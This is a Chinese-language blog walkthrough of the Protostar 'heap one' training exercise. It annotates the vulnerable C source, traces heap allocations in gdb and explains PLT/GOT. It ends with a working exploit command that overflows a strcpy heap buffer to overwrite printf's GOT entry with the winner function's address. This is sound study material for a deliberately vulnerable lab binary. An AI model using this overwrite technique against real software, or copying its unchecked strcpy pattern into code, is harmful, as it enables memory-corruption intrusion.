Pwn-protostar靶场6 heap one


Pwn-protostar靶场6 heap one

程序静态分析

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {  #定义了一个名为 internet 的结构体
  int priority;  #定义了一个int 类型的 priority函数
  char *name;  #定义了一个 char 指针 name 函数
};

void winner()  #winner函数
{
  printf("and we have a winner @ %d\n", time(NULL));  #输出and we have a winner @ %d\n", time(NULL)
}

int main(int argc, char **argv)  #主函数,参数是从命令行里获取的
{
  struct internet *i1, *i2, *i3;  #声明了三个指针变量,i1、i2和i3,它们都是指向struct internet类型的结构体的指针

  i1 = malloc(sizeof(struct internet));  #为 internet 结构体分配内存
  i1->priority = 1;  #访问 i1 指向的结构体中的 priority,赋予1值
  i1->name = malloc(8);  #分配8个字节的内存

  i2 = malloc(sizeof(struct internet));   #为 internet 结构体分配内存
  i2->priority = 2;  #访问 i1 指向的结构体中的 priority,赋予2值
  i2->name = malloc(8);  #分配8个字节的内存

  strcpy(i1->name, argv[1]);  #将第一个命令行参数复制到 i1
  strcpy(i2->name, argv[2]);  #将第二个命令行参数复制到 i2

  printf("and that's a wrap folks!\n");  输出and that's a wrap folks!
}

主函数的分配指针看着有些复杂,我们实际调试一下就能理解了

程序动态分析

使用gdb打开程序,在第一个malloc函数处下一个断点

我们要输入两个命令行参数才能运行程序

现在停在了这里,我们可以输入n执行malloc函数,为 internet 结构体分配内存,i1 和 i2 是指向这些结构体的指针

现在程序给我们分配了一个堆,地址是0x804a000-0x806b000,现在可以查看堆空间里的内容

现在堆里只有两个数据,0x11-1,0x10是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个堆中保存数据是为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0

而最后的0x20ff1,表示空余的堆空间的大小

输入n,执行下一个指令,然后查看堆空间

这里按照程序 i1->priority = 1; 访问 i1 指向的结构体中的 priority,赋予1值

输入n,执行下一个指令

程序给我们分配8个字节的内存,0x0804a018是之后存放这8个字节的堆地址,前面标记的整数可以很方便帮助我们计算,所以第18的地址是图中圈起来的,程序会将我们输入的值,放入这里

输入n,执行第二个分配堆空间的操作

操作逻辑是和第一个一样的,0x0804a038地址也是我们第二个参数存放的地址,也就是图片上圈起来的地方

现在我们将输入的内容放入堆中

了解了这个程序的运作机制,现在我们可以想想怎么破解程序了

漏洞点还是出在strcpy函数身上,strcpy函数不会检查目标缓冲区的大小,很容易导致缓冲区溢出,我们可以覆盖掉第二个参数的写入地址0x0804a038,那么程序就可以在任意地址写入我们指定的值

什么是plt表与got表

他是动态链接库的,意思是从libc里调用的函数,他不是二进制文件本身里面自带的,而从本机上的libc库中调用的,这样就能缩小文件体积

而plt表的作用是当程序需要调用一个外部函数时,它首先跳转到PLT表中寻找该函数对应的入口,PLT入口包含跳转指令,然后跳转到GOT表中的相应地址,GOT中的地址会指向解析函数,之后解析函数将实际的函数地址写入GOT表,以便后续直接跳转调用函数

实际操作一下就理解了

这里puts函数的plt表地址是0x80483cc,我们可以查看这个地址

然后跳转到了got表的地址,调用puts函数

这里我们可以覆盖掉printf函数got表地址,让程序执行printf函数时跳转到winner函数地址

破解

覆盖第二个malloc写入字符的地址,所需要的垃圾字符数

python -c "print('A'*20)"

因为从第一个malloc输入字符位置到第二个malloc写入字符地址的距离是4x5=20

我们可以使用echo工具来输入不可见字符,printf函数的got表地址0x8049774

这里gdb将printf函数解析成了puts函数,第一个参数确定了,我们还需要winner函数的地址

./heap1 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAA\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"

成功跳转到winner函数,这里我们也可以使用gdb查看堆空间

原本的0x0804a038被我们改成了printf函数got表的地址,之后我们输入的第二个参数就会覆盖掉printf函数got表原本的地址,变成winner函数地址,当程序调用printf函数时,就会跳转到winner函数


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录